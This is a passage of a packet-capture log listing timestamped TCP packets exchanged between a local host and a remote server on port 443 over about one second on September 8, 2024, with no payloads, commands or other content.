Sep 8, 2024 09:53:36.677047014 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.677066088 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.677531958 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.677546024 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.677589893 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.677596092 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.677628040 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.678343058 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.678355932 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.678402901 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.678406954 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.678441048 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.678689003 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.678702116 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.678747892 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.678752899 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.678785086 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.679157019 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.679172993 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.679220915 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.679225922 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.679261923 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.763046980 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.763073921 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.763113976 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.763168097 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.763251066 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.763279915 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.763293028 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.763771057 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.763788939 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.763837099 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.763842106 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.763850927 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.763866901 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.763879061 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.763910055 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.763916016 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.763947010 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.764858007 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.764874935 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.764938116 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.764944077 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.764983892 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.765008926 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.765325069 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.765340090 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.765384912 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.765393972 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.765429020 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.765866041 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.765877962 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.765928030 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.765933990 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.765960932 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.765976906 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.766269922 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.766283035 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.766328096 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.766334057 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.766362906 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.850195885 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.850233078 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.850399017 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.850441933 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.850441933 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.850471020 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.850486040 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.850497007 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.850590944 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.850605011 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.850636959 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.850645065 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.850673914 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.850935936 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.850955963 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.850992918 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.850997925 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.851012945 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.851891994 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.851907969 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.851953983 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.851960897 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.852458000 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.852478027 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.852511883 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.852516890 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.852531910 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.852850914 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.852864027 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.852912903 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.852919102 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.853018045 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.853039026 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.853070021 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.853075027 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.853091002 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.893541098 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.937299967 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.937325001 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.937396049 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.937421083 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.937588930 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.937623024 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.937721968 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.937741041 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.937756062 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.937854052 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.937860012 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.938018084 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.938038111 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.938065052 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.938071012 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.938086987 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.939238071 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.939250946 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.939306021 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.939311981 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.939649105 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.939666986 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.939698935 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.939703941 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.939718962 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.940167904 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.940181017 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.940229893 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.940237045 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.940388918 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.940411091 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.940443993 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.940449953 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:36.940478086 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:36.987181902 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.024373055 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.024399042 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.024445057 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.024466038 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.024635077 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.024635077 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.024656057 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.024910927 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.024924040 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.024962902 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.024975061 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.024986982 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.025105953 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.025124073 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.025152922 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.025157928 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.025178909 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.026149035 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.026161909 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.026227951 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.026235104 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.026272058 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.026441097 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.026454926 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.026495934 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.026501894 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.026525974 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.027004004 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.027023077 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.027074099 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.027077913 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.027153969 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.027494907 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.027508974 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.027611971 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.027618885 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.030586004 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.030822039 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.111833096 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.111865997 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.112027884 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.112032890 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.112054110 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.112063885 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.112103939 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.112272024 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.112283945 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.112317085 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.112332106 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.112349033 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.112354994 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.112370014 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.112379074 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.112384081 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.112417936 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.113481045 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.113497019 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.113538980 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.113558054 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.113686085 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.113702059 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.113748074 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.114414930 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.114434958 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.114479065 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.114489079 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.114500999 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.114527941 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.114562035 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.198911905 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.198944092 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.198987007 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.199165106 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.199196100 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.199323893 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.199337006 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.199377060 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.199387074 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.199700117 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.199718952 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.199760914 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.199770927 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.199959993 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.199973106 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.200012922 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.200022936 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.200038910 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.200449944 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.200469971 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.200500011 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.200511932 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.200532913 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.200750113 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.200763941 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.200805902 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.200814009 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.201587915 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.201621056 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.201642990 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.201654911 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.201672077 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.252724886 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.285780907 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.285804987 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.285914898 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.285929918 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.285973072 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.286029100 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.286041975 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.286087036 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.286092043 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.286127090 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.286439896 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.286453009 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.286498070 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.286503077 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.286533117 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.286602020 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.286616087 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.286667109 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.286673069 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.286704063 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.286938906 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.286953926 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.287004948 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.287009954 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.287045002 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.287333965 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.287349939 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.287394047 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.287399054 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.287430048 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.287687063 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.287698984 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.287744999 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.287750006 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.287781000 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.288588047 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.288602114 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.288656950 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.288662910 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.288692951 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.400579929 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.400604963 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.400649071 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.400702000 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.400731087 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.400749922 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.400800943 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.400804996 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.400818110 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.400829077 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.400851011 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.400856018 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.400893927 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.401289940 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.401304007 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.401360989 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.401366949 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.401540995 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.401557922 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.401599884 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.401604891 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.401640892 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.401654005 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.401684999 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.401691914 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.401715040 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.402070999 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.402089119 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.402120113 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.402124882 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.402143002 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.402396917 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.402409077 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.402462006 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.402467966 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.455904961 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.487323999 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.487349987 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.487446070 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.487463951 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.487474918 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.487494946 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.487514019 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.487519026 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.487555981 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.487859964 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.487874031 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.487931013 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.487936020 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.487973928 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.488008976 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.488027096 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.488065004 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.488069057 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.488081932 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.488097906 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.488301039 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.488321066 CEST	443	49710	185.93.1.250	192.168.2.6
